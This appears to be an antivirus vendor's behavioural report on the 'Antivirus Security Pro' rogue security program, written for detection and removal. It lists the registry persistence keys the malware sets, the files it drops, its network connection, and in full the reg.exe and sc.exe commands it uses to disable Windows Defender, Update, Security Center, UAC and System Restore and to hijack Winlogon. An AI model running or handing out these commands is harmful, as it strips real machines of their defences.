Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'AS2014' = '%PROGRAMDATA%\gqgygsgg\gqgygsgg.exe'
- [<HKLM>\Software\Microsoft\Windows\CurrentVersion\Run] 'AS2014' = '%PROGRAMDATA%\gqgygsgg\gqgygsgg.exe'
- [<HKLM>\Software\Microsoft\Windows NT\CurrentVersion\Winlogon] 'Userinit' = 'userinit.exe,%PROGRAMDATA%\gqgygsgg\gqgygsgg.exe -sm,'
Malicious functions
To complicate detection of its presence in the operating system,
blocks execution of the following system utilities:
- Windows Update
- Windows Security Center
- Windows Defender
blocks the following features:
- User Account Control (UAC)
- Windows Security Center
Terminates or attempts to terminate
the following user processes:
- firefox.exe
Modifies file system
Creates the following files
- %PROGRAMDATA%\gqgygsgg\gqgygsgg.exe
- %PROGRAMDATA%\gqgygsgg\gqgygsggyvsagggg.in
- %PROGRAMDATA%\gqgygsgg\gqgygsgg.exe.manifest
- %PROGRAMDATA%\gqgygsgg\gqgygsgg.ico
- %PROGRAMDATA%\gqgygsgg\serv.bat
- nul
- %APPDATA%\microsoft\windows\start menu\programs\antivirus security pro\antivirus security pro.lnk
- %HOMEPATH%\desktop\antivirus security pro support.url
- %APPDATA%\microsoft\windows\start menu\programs\antivirus security pro\antivirus security pro support.url
- %HOMEPATH%\desktop\antivirus security pro.lnk
Network activity
Connects to
- '21#.#35.1.127':80
Miscellaneous
Searches for the following windows
- ClassName: 'fwcplui_class' WindowName: ''
- ClassName: 'wscui_class' WindowName: ''
- ClassName: 'MSASCUI_class' WindowName: ''
Creates and executes the following
- '<SYSTEM32>\cmd.exe' /C "%PROGRAMDATA%\gqgygsgg\serv.bat"' (with hidden window)
Executes the following
- '<SYSTEM32>\cmd.exe' /C "%PROGRAMDATA%\gqgygsgg\serv.bat"
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Security Center" /v UpdatesDisableNotify /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Security Center\Svc" /v UpdatesDisableNotify /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Security Center" /v FirewallOverride /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Security Center\Svc" /v FirewallOverride /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Security Center" /v FirewallDisableNotify /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Security Center\Svc" /v FirewallDisableNotify /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Security Center" /v AntiVirusOverride /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Security Center\Svc" /v AntiVirusOverride /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Security Center" /v AntiVirusDisableNotify /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Security Center\Svc" /v AntiVirusDisableNotify /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Windows Defender" /f
- '<SYSTEM32>\reg.exe' delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v MSASCui /f
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v AS2014 /t REG_SZ /d "%PROGRAMDATA%\gqgygsgg\gqgygsgg.exe" /f
- '<SYSTEM32>\sc.exe' config luafv start= disabled
- '<SYSTEM32>\sc.exe' config wuauserv start= disabled
- '<SYSTEM32>\sc.exe' config msmpsvc start= disabled
- '<SYSTEM32>\sc.exe' config windefend start= disabled
- '<SYSTEM32>\ping.exe' localhost -w 1000 -n 3
- '<SYSTEM32>\sc.exe' StOp wscsvc
- '<SYSTEM32>\sc.exe' StOp wuauserv
- '<SYSTEM32>\sc.exe' StOp msmpsvc
- '<SYSTEM32>\sc.exe' sToP WinDefend
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SPP\Clients" /va /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v RPSessionInterval /t REG_DWORD /d 0 /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system" /v EnableVirtualization /t REG_DWORD /d 0 /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system" /v EnableLUA /t REG_DWORD /d 0 /f
- '<SYSTEM32>\sc.exe' config wscsvc start= disabled
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /t REG_SZ /d "userinit.exe,%PROGRAMDATA%\gqgygsgg\gqgygsgg.exe -sm," /f